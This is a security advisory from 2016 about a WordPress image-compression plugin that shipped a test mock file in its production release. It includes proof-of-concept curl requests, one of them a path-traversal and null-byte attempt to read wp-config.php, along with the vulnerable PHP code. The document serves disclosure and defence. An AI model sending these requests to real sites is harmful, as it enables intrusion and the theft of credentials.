Compress JPEG & PNG images [Multiple Vulnerabilities]
Description
Compress JPEG & PNG images plugin includes in production release a tiny-compress-images/test/mock-tinypng-webservice/output.php
file which it is used in unit testing. This file actually mocks a resize request for testing purposes and has no meaning in a production environment.
This file is vulnerable to Object Injection as it reads and JSON decodes php://input
, allowing arbitrary object properties to be passed into the decoded object. Response Header Manipulation is also possible because of this.
It also defines file to send back to client by reading $_SERVER['REQUEST_URI']
var. In some cases this may be exploitable by using relative paths and the null pointer, making the script vulnerable to Local File Inclusion. As this script replaces all occurrences of /
char with -
in the file name, an attack could still be possible in Windows machines using \
char (not verified).
Please note that no obvious attack method is found to be successful, but leaving holes like these ones is considered bad practice.
PoC
Object Injection and Response Header Manipulation
The only headers that can be manipulated are Image-Width
and Image-Height
and they come from resize.width
and resise.height
values respectively.
CURL -d '{"resize":{"method":true,"height":"500","width":"500"}}' \
-H 'Authorization: Basic SlBHMTIz' \
'http://wp.dev/wp-content/plugins/tiny-compress-images/test/mock-tinypng-webservice/output.php/output/example.png'
Local File Inclusion
This attack is untested and generally it may work in very specific cases.
CURL -H 'Authorization: Basic SlBHMTIz' \
'http://wp.dev/wp-content/plugins/tiny-compress-images/test/mock-tinypng-webservice/output.php/output/.\..\..\..\..\..\..\wp-config.php%00.png'
Vulnerable Code
File: tiny-compress-images/test/mock-tinypng-webservice/output.php
<?php
ob_start();
require_once('common.php');
if (preg_match('#output/.+[.](png|jpg)$#', $_SERVER['REQUEST_URI'], $match)) {
$file = str_replace('/', '-', $match[0]);
$ext = $match[1];
$mime = $match[1] == 'jpg' ? 'image/jpeg' : "image/$ext";
} else {
$file = null;
}
$api_key = get_api_key();
if (!is_null($api_key)) {
$data = get_json_body();
if (is_null($data) || $api_key != 'JPG123') {
mock_invalid_response();
ob_end_flush();
exit();
}
$resize = $data->resize;
if ($resize->method) {
$file = "output-resized.$ext";
header("Image-Width: {$resize->width}");
header("Image-Height: {$resize->height}");
}
}
if ($file && file_exists($file)) {
header("Content-Type: $mime");
header('Content-Disposition: attachment');
readfile($file);
} else {
header("HTTP/1.1 404 Not Found");
}
ob_end_flush();
File: tiny-compress-images/test/mock-tinypng-webservice/common.php
<?php
define('SESSION_FILE', '/tmp/session.dat');
if (file_exists(SESSION_FILE)) {
$session = unserialize(file_get_contents(SESSION_FILE));
} else {
$session = array('Compression-Count' => 0);
}
function save_session() {
global $session;
if ($session) {
file_put_contents(SESSION_FILE, serialize($session));
} elseif (file_exists(SESSION_FILE)) {
unlink(SESSION_FILE);
}
}
register_shutdown_function('save_session');
function get_api_key() {
$request_headers = apache_request_headers();
if (!isset($request_headers['Authorization'])) {
return null;
}
$basic_auth = base64_decode(str_replace('Basic ', '', $request_headers['Authorization']));
return next(explode(':', $basic_auth));
}
function get_json_body() {
return json_decode(file_get_contents("php://input"));
}
function mock_invalid_response() {
global $session;
header('HTTP/1.1 401 Unauthorized');
header("Content-Type: application/json; charset=utf-8");
$response = array(
"error" => "Unauthorized",
"message" => "Credentials are invalid"
);
return json_encode($response);
}
- 23 March 2016
- Pan Vag (Wordfence)
- tinypng.com
- Compress JPEG & PNG images
- 1.7.0
- WordPress 4.4.2